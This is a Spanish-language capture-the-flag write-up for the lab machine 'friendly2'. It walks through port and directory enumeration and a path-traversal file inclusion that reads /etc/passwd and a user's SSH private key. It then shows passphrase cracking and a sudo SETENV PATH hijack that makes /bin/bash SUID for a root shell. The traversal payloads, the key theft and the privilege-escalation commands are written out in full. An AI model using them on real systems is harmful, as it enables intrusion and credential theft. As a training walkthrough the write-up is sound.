Enumeración de servicios
Comenzamos con un escaneo de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.23
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.23
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-27 18:59 -03
Nmap scan report for 192.168.1.23
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 74:fd:f1:a7:47:5b:ad:8e:8a:31:02:fe:44:28:9f:d2 (RSA)
| 256 16:f0:de:51:09:ff:fc:08:a2:9a:69:a0:ad:42:a0:48 (ECDSA)
|_ 256 65:0e:ed:44:e2:3e:f0:e7:60:0c:75:93:63:95:20:56 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Servicio de Mantenimiento de Ordenadores
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 secondsEnumeramos con gobuster:
❯ gobuster dir -u http://192.168.1.23 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html (Status: 200) [Size: 2698]
/tools (Status: 200) [Size: 813]
/assets (Status: 200) [Size: 1547]
...LFI y acceso SSH
En el código de /tools/ un comentario delata un parámetro vulnerable a LFI:
<!-- Redimensionar la imagen en check_if_exist.php?doc=keyboard.html -->Fuzzeamos el parámetro con ffuf:
❯ ffuf -u "http://192.168.1.23/tools/check_if_exist.php?doc=FUZZ" -w ~/Documentos/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -fs 0Confirmamos el LFI leyendo /etc/passwd para identificar usuarios:
http://192.168.1.23/tools/check_if_exist.php?doc=../../../../../etc/passwdLas secuencias ../ retroceden desde el directorio donde la aplicación espera encontrar documentos hasta alcanzar la raíz del sistema. Leer /etc/passwd confirma que el parámetro no está limitado a keyboard.html ni al directorio web y, además, revela nombres y directorios personales útiles para construir nuevas rutas.
Y extraemos la clave SSH del usuario gh0st:
http://192.168.1.23/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsaCrackeamos la passphrase con RSAcrack:
❯ RSAcrack -k id_rsa -w ~/Documentos/wordlists/rockyou.txt
╭━━━┳━━━┳━━━╮ ╭╮
┃╭━╮┃╭━╮┃╭━╮┃ ┃┃
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
-=========================-
[*] Cracking: id_rsa
[*] Wordlist: /home/wh01s17/Documentos/wordlists/rockyou.txt
[i] Status:
250/14344391/0%/celtic
[+] Password: celtic Line: 250La LFI expone la clave privada, pero ésta sigue cifrada con una passphrase. La protección presenta un caso de Weak Password: celtic no es la contraseña de la cuenta remota, sino el secreto que permite descifrar localmente id_rsa cuando el cliente SSH intenta utilizarla. Esta distinción explica por qué todavía hace falta romper la protección de la clave antes de iniciar sesión.
Escalada de privilegios
Iniciamos sesión por SSH y obtenemos la primera flag. Para escalar, revisamos sudo -l:
gh0st@friendly2:~$ sudo -l
Matching Defaults entries for gh0st on friendly2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gh0st may run the following commands on friendly2:
(ALL : ALL) SETENV: NOPASSWD: /opt/security.shPodemos ejecutar security.sh como cualquier usuario y, gracias a SETENV, conservar nuestras variables de entorno: candidato ideal para un PATH Hijacking. El script invoca comandos por nombre relativo, así que creamos un grep malicioso y exportamos un PATH que lo priorice:
gh0st@friendly2:~$ cat grep
#!/bin/bash
chmod +s /bin/bash
gh0st@friendly2:~$ sudo -u root PATH=/home/gh0st:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/security.sh
gh0st@friendly2:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bashNormalmente sudo reemplaza PATH por el valor de secure_path, pero SETENV autoriza a proporcionar variables para este comando. Cuando security.sh invoca grep sin una ruta absoluta, el sistema selecciona primero /home/gh0st/grep. Ese archivo se ejecuta como root y añade SUID a /bin/bash; el script legítimo ya no importa una vez aplicada esa modificación.
Con Bash ya SUID, lanzamos una shell de root:
gh0st@friendly2:~$ bash -p
bash-5.1# whoami
rootLa opción -p es esencial porque solicita a Bash conservar el EUID privilegiado heredado del bit SUID. Sin ella, Bash puede reducir sus privilegios para evitar precisamente este tipo de abuso.
Localización y decodificación de la flag
Al leer la flag de root encontramos un señuelo y una pista hacia un directorio oculto:
bash-5.1# cat root.txt
Not yet! Try to find root.txt.
Hint: ...
bash-5.1# find / -name "..." 2>/dev/null
/...
bash-5.1# ls -l /...
total 4
-r-------- 1 root root 100 Apr 29 2023 ebbg.txt
bash-5.1# cat /.../ebbg.txt
It's codified, look the cipher:
98199n723q0s44s6rs39r33685q8pnoq
Hint: numbers are not codifiedLa cadena está cifrada en ROT13 (sin tocar los números), que decodificamos para obtener la flag:
98199n723q0s44s6rs39r33685q8pnoq
[redacted]ROT13 sólo sustituye letras por las situadas trece posiciones después en el alfabeto. Los dígitos permanecen iguales, tal como anticipa la pista, y la transformación de n, q, s, r y p produce una cadena hexadecimal válida.
Fin.